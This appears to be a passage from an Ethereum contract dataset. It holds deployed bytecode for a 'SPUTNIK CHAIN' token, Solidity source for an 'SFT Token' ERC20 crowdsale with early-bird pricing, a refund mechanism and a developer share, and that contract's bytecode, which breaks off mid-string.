0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012d578063095ea7b3146101bd57806318160ddd1461022257806323b872dd1461024d5780632ff2e9dc146102d2578063313ce567146102fd57806342966c681461032e5780634cd412d51461035b5780634d2c29a01461038a57806366188463146103e157806370a0823114610446578063726f63f61461049d57806381830593146104ea5780638da5cb5b1461054157806395d89b4114610598578063a9059cbb14610628578063d73dd6231461068d578063dd62ed3e146106f2578063f0d4753e14610769578063f1b50c1d14610794578063f2fde38b146107ab578063fc53f958146107ee575b600080fd5b34801561013957600080fd5b50610142610819565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610182578082015181840152602081019050610167565b50505050905090810190601f1680156101af5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c957600080fd5b50610208600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610852565b604051808215151515815260200191505060405180910390f35b34801561022e57600080fd5b50610237610944565b6040518082815260200191505060405180910390f35b34801561025957600080fd5b506102b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061094e565b604051808215151515815260200191505060405180910390f35b3480156102de57600080fd5b506102e7610bbf565b6040518082815260200191505060405180910390f35b34801561030957600080fd5b50610312610bd1565b604051808260ff1660ff16815260200191505060405180910390f35b34801561033a57600080fd5b5061035960048036038101908080359060200190929190505050610bd6565b005b34801561036757600080fd5b50610370610c55565b604051808215151515815260200191505060405180910390f35b34801561039657600080fd5b5061039f610c68565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103ed57600080fd5b5061042c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c8e565b604051808215151515815260200191505060405180910390f35b34801561045257600080fd5b50610487600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f1f565b6040518082815260200191505060405180910390f35b3480156104a957600080fd5b506104e8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f67565b005b3480156104f657600080fd5b506104ff6110cc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054d57600080fd5b506105566110f2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105a457600080fd5b506105ad611118565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105ed5780820151818401526020810190506105d2565b50505050905090810190601f16801561061a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561063457600080fd5b50610673600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611151565b604051808215151515815260200191505060405180910390f35b34801561069957600080fd5b506106d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113c0565b604051808215151515815260200191505060405180910390f35b3480156106fe57600080fd5b50610753600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115bc565b6040518082815260200191505060405180910390f35b34801561077557600080fd5b5061077e611643565b6040518082815260200191505060405180910390f35b3480156107a057600080fd5b506107a9611655565b005b3480156107b757600080fd5b506107ec600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116fc565b005b3480156107fa57600080fd5b50610803611854565b6040518082815260200191505060405180910390f35b6040805190810160405280600d81526020017f535055544e494b20434841494e0000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b6000600560149054906101000a900460ff16806109b85750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80610a105750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610a1b57600080fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a5857600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a9357600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610af057600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610b4d57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610baa57600080fd5b610bb5858585611876565b9150509392505050565b601260ff16600a0a64165a0bc0000281565b601281565b600560149054906101000a900460ff1680610c3e5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610c4957600080fd5b610c5281611c30565b50565b600560149054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d9f576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e33565b610db28382611d8290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fc557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561102257600080fd5b600560149054906101000a900460ff1615151561103e57600080fd5b6000821461104c578161105c565b601260ff16600a0a6408f0d18000025b9050601260ff16600a0a6408f0d1800002811115151561107b57600080fd5b6110858382610852565b5082600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600781526020017f535055544e494b0000000000000000000000000000000000000000000000000081525081565b6000600560149054906101000a900460ff16806111bb5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806112135750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561121e57600080fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561125b57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561129657600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156112f357600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561135057600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113ad57600080fd5b6113b78484611d9b565b91505092915050565b600061145182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fba90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601260ff16600a0a6408f0d180000281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116b157600080fd5b6001600560146101000a81548160ff0219169083151502179055506116f9600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000610852565b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561175857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561179457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601260ff16600a0a6408f0d1800002601260ff16600a0a64165a0bc000020381565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156118b357600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561190057600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561198b57600080fd5b6119dc826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8290919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a6f826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fba90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b4082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c7f57600080fd5b339050611cd3826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8290919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d2a82600154611d8290919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b6000828211151515611d9057fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611dd857600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611e2557600080fd5b611e76826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fba90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808284019050838110151515611fce57fe5b80915050929150505600a165627a7a72305820d4d878dac939771210b6b5ab4606e9011679c86963714bd0ccbeab677df4ce3a0029
{"success": true, "error": null, "results": {}}
3,029
0x6D56fb76d62bBB01cec94612db6bfAd81bF65F3A
pragma solidity^0.4.13; /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { throw; } _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } /** * @dev Approve the passed address to spend the specified amount of tokens on beahlf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract SFTToken is StandardToken { using SafeMath for uint256; string public constant name = "SFT Token"; string public constant symbol = "SFT"; uint256 public constant decimals = 18; string public version = "1.0"; address public executor; address public devETHDestination; address public devSFTDestination; bool public saleHasEnded; bool public minCapReached; bool public allowRefund; mapping (address => uint256) public ETHContributed; uint256 public totalETHRaised; uint256 public saleStartBlock; uint256 public saleEndBlock; uint256 public saleFirstEarlyBirdEndBlock; uint256 public saleSecondEarlyBirdEndBlock; uint256 public constant DEV_PORTION = 45; uint256 public constant SECURITY_ETHER_CAP = 20000 ether; uint256 public constant SFT_PER_ETH_FIRST_EARLY_BIRD_RATE = 550; uint256 public constant SFT_PER_ETH_SECOND_EARLY_BIRD_RATE = 525; uint256 public constant SFT_PER_ETH_BASE_RATE = 500; function SFTToken() { executor = msg.sender; saleHasEnded = false; minCapReached = false; allowRefund = false; devETHDestination = 0x8C5CbE9B28618Dd2d7e6A4110FB52DFa378a0196; devSFTDestination = 0x8C5CbE9B28618Dd2d7e6A4110FB52DFa378a0196; totalETHRaised = 0; totalSupply = 0; saleStartBlock = 4166530; saleEndBlock = 4291810; saleFirstEarlyBirdEndBlock = 4194610; saleSecondEarlyBirdEndBlock = 4227010 ; } function createTokens() payable external { if (saleHasEnded) throw; if (block.number < saleStartBlock) throw; if (block.number > saleEndBlock) throw; uint256 newEtherBalance = totalETHRaised.add(msg.value); if (newEtherBalance > SECURITY_ETHER_CAP) throw; if (0 == msg.value) throw; uint256 curTokenRate = SFT_PER_ETH_BASE_RATE; if (block.number < saleFirstEarlyBirdEndBlock) { curTokenRate = SFT_PER_ETH_FIRST_EARLY_BIRD_RATE; } else if (block.number < saleSecondEarlyBirdEndBlock) { curTokenRate = SFT_PER_ETH_SECOND_EARLY_BIRD_RATE; } uint256 amountOfETH = msg.value.mul(curTokenRate); uint256 totalSupplySafe = totalSupply.add(amountOfETH); uint256 balanceSafe = balances[msg.sender].add(amountOfETH); uint256 contributedSafe = ETHContributed[msg.sender].add(msg.value); totalSupply = totalSupplySafe; balances[msg.sender] = balanceSafe; totalETHRaised = newEtherBalance; ETHContributed[msg.sender] = contributedSafe; } function endSale() { if (saleHasEnded) throw; if (!minCapReached) throw; if (msg.sender != executor) throw; uint256 additionalSFT = (totalSupply.mul(DEV_PORTION)).div(100 - DEV_PORTION); uint256 totalSupplySafe = totalSupply.add(additionalSFT); uint256 devShare = additionalSFT; totalSupply = totalSupplySafe; balances[devSFTDestination] = devShare; saleHasEnded = true; if (this.balance > 0) { if (!devETHDestination.call.value(this.balance)()) throw; } } function withdrawFunds() { if (0 == this.balance) throw; if (!minCapReached) throw; if (!devETHDestination.call.value(this.balance)()) throw; } function triggerMinCap() { if (msg.sender != executor) throw; minCapReached = true; } function triggerRefund() { // No refunds if the sale was successful if (saleHasEnded) throw; // No refunds if minimum cap is hit if (minCapReached) throw; // No refunds if the sale is still progressing if (block.number < saleEndBlock) throw; if (msg.sender != executor) throw; allowRefund = true; } function refund() external { // No refunds until it is approved if (!allowRefund) throw; // Nothing to refund if (0 == ETHContributed[msg.sender]) throw; // Do the refund. uint256 etherAmount = ETHContributed[msg.sender]; ETHContributed[msg.sender] = 0; if (!msg.sender.send(etherAmount)) throw; } function changeDeveloperETHDestinationAddress(address _newAddress) { if (msg.sender != executor) throw; devETHDestination = _newAddress; } function changeDeveloperSFTDestinationAddress(address _newAddress) { if (msg.sender != executor) throw; devSFTDestination = _newAddress; } function transfer(address _to, uint _value) { super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) { super.transferFrom(_from, _to, _value); } function() payable{ this.createTokens(); } }
0x606060405236156101b45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610227578063095ea7b3146102b257806314838617146102d657806318160ddd146102fb578063200272751461032057806323b872dd1461034557806324600fc31461036f578063263d4878146103845780632693eca01461039957806328f5c7b3146103c8578063313ce567146103ed578063380d831b146104125780633f99a12b146104275780634461550b1461044c57806354fd4d501461047b578063581847d614610506578063590e1ae31461052757806362751a061461053c5780636835df3e1461056157806370a0823114610586578063733e193c146105b757806374eead66146105de5780638b9add74146106035780638d2d25631461062a5780638fc954031461064f57806395d89b4114610674578063a9059cbb146106ff578063b442726314610723578063b5ef06d01461072d578063c2812f741461074e578063c34c08e514610763578063cd26e1a814610792578063dd62ed3e146107b7578063e227b5d1146107ee578063ffb2d35d1461081f575b6102255b30600160a060020a031663b44272636040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b151561020e57600080fd5b6102c65a03f1151561021f57600080fd5b5050505b565b005b341561023257600080fd5b61023a610846565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102775780820151818401525b60200161025e565b50505050905090810190601f1680156102a45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102bd57600080fd5b610225600160a060020a036004351660243561087d565b005b34156102e157600080fd5b6102e961091f565b60405190815260200160405180910390f35b341561030657600080fd5b6102e9610924565b60405190815260200160405180910390f35b341561032b57600080fd5b6102e961092a565b60405190815260200160405180910390f35b341561035057600080fd5b610225600160a060020a0360043581169060243516604435610930565b005b341561037a57600080fd5b610225610941565b005b341561038f57600080fd5b6102256109a7565b005b34156103a457600080fd5b6103ac610a4c565b604051600160a060020a03909116815260200160405180910390f35b34156103d357600080fd5b6102e9610a5b565b60405190815260200160405180910390f35b34156103f857600080fd5b6102e9610a61565b60405190815260200160405180910390f35b341561041d57600080fd5b610225610a66565b005b341561043257600080fd5b6102e9610b98565b60405190815260200160405180910390f35b341561045757600080fd5b6103ac610b9e565b604051600160a060020a03909116815260200160405180910390f35b341561048657600080fd5b61023a610bad565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102775780820151818401525b60200161025e565b50505050905090810190601f1680156102a45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561051157600080fd5b610225600160a060020a0360043516610c4b565b005b341561053257600080fd5b610225610c92565b005b341561054757600080fd5b6102e9610d31565b60405190815260200160405180910390f35b341561056c57600080fd5b6102e9610d37565b60405190815260200160405180910390f35b341561059157600080fd5b6102e9600160a060020a0360043516610d3d565b60405190815260200160405180910390f35b34156105c257600080fd5b6105ca610d5c565b604051901515815260200160405180910390f35b34156105e957600080fd5b6102e9610d7d565b60405190815260200160405180910390f35b341561060e57600080fd5b6105ca610d83565b604051901515815260200160405180910390f35b341561063557600080fd5b6102e9610d93565b60405190815260200160405180910390f35b341561065a57600080fd5b6102e9610d99565b60405190815260200160405180910390f35b341561067f57600080fd5b61023a610d9f565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102775780820151818401525b60200161025e565b50505050905090810190601f1680156102a45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561070a57600080fd5b610225600160a060020a0360043516602435610dd6565b005b610225610de5565b005b341561073857600080fd5b610225600160a060020a0360043516610f40565b005b341561075957600080fd5b610225610f87565b005b341561076e57600080fd5b6103ac610fca565b604051600160a060020a03909116815260200160405180910390f35b341561079d57600080fd5b6102e9610fd9565b60405190815260200160405180910390f35b34156107c257600080fd5b6102e9600160a060020a0360043581169060243516610fe7565b60405190815260200160405180910390f35b34156107f957600080fd5b6102e9600160a060020a0360043516611014565b60405190815260200160405180910390f35b341561082a57600080fd5b6105ca611026565b604051901515815260200160405180910390f35b60408051908101604052600981527f53465420546f6b656e0000000000000000000000000000000000000000000000602082015281565b80158015906108b05750600160a060020a0333811660009081526002602090815260408083209386168352929052205415155b156108ba57600080fd5b600160a060020a03338116600081815260026020908152604080832094871680845294909152908190208490557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259084905190815260200160405180910390a35b5050565b602d81565b60005481565b60095481565b61021f838383611049565b5b505050565b600160a060020a03301631151561095757600080fd5b60065460a860020a900460ff16151561096f57600080fd5b600554600160a060020a039081169030163160405160006040518083038185876187965a03f192505050151561022357600080fd5b5b565b60065474010000000000000000000000000000000000000000900460ff16156109cf57600080fd5b60065460a860020a900460ff16156109e657600080fd5b600a544310156109f557600080fd5b60045433600160a060020a03908116911614610a1057600080fd5b6006805476ff0000000000000000000000000000000000000000000019167601000000000000000000000000000000000000000000001790555b565b600654600160a060020a031681565b60085481565b601281565b6000806000600660149054906101000a900460ff1615610a8557600080fd5b60065460a860020a900460ff161515610a9d57600080fd5b60045433600160a060020a03908116911614610ab857600080fd5b600054610adf90603790610ad390602d63ffffffff61116c16565b9063ffffffff61119b16565b600054909350610af5908463ffffffff6111b716565b600081815560068054600160a060020a039081168352600160205260408320879055815474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179091559193508492503090911631111561021f57600554600160a060020a039081169030163160405160006040518083038185876187965a03f192505050151561021f57600080fd5b5b5b505050565b600a5481565b600554600160a060020a031681565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c435780601f10610c1857610100808354040283529160200191610c43565b820191906000526020600020905b815481529060010190602001808311610c2657829003601f168201915b505050505081565b60045433600160a060020a03908116911614610c6657600080fd5b6006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b600654600090760100000000000000000000000000000000000000000000900460ff161515610cc057600080fd5b600160a060020a0333166000908152600760205260409020541515610ce457600080fd5b50600160a060020a033316600081815260076020526040808220805492905590919082156108fc0290839051600060405180830381858888f193505050501515610c8f57600080fd5b5b50565b61022681565b6101f481565b600160a060020a0381166000908152600160205260409020545b919050565b60065474010000000000000000000000000000000000000000900460ff1681565b61020d81565b60065460a860020a900460ff1681565b600b5481565b600c5481565b60408051908101604052600381527f5346540000000000000000000000000000000000000000000000000000000000602082015281565b61091b82826111d3565b5b5050565b600080600080600080600660149054906101000a900460ff1615610e0857600080fd5b600954431015610e1757600080fd5b600a54431115610e2657600080fd5b600854610e39903463ffffffff6111b716565b955069043c33c1937564800000861115610e5257600080fd5b341515610e5e57600080fd5b6101f49450600b54431015610e77576102269450610e87565b600c54431015610e875761020d94505b5b610e98348663ffffffff61116c16565b600054909450610eae908563ffffffff6111b716565b600160a060020a033316600090815260016020526040902054909350610eda908563ffffffff6111b716565b600160a060020a033316600090815260076020526040902054909250610f06903463ffffffff6111b716565b6000848155600160a060020a033316815260016020908152604080832086905560088a90556007909152902081905590505b505050505050565b60045433600160a060020a03908116911614610f5b57600080fd5b6005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b60045433600160a060020a03908116911614610fa257600080fd5b6006805475ff000000000000000000000000000000000000000000191660a860020a1790555b565b600454600160a060020a031681565b69043c33c193756480000081565b600160a060020a038083166000908152600260209081526040808320938516835292905220545b92915050565b60076020526000908152604090205481565b600654760100000000000000000000000000000000000000000000900460ff1681565b60006060606436101561105b57600080fd5b600160a060020a0380861660009081526002602090815260408083203385168452825280832054938816835260019091529020549092506110a2908463ffffffff6111b716565b600160a060020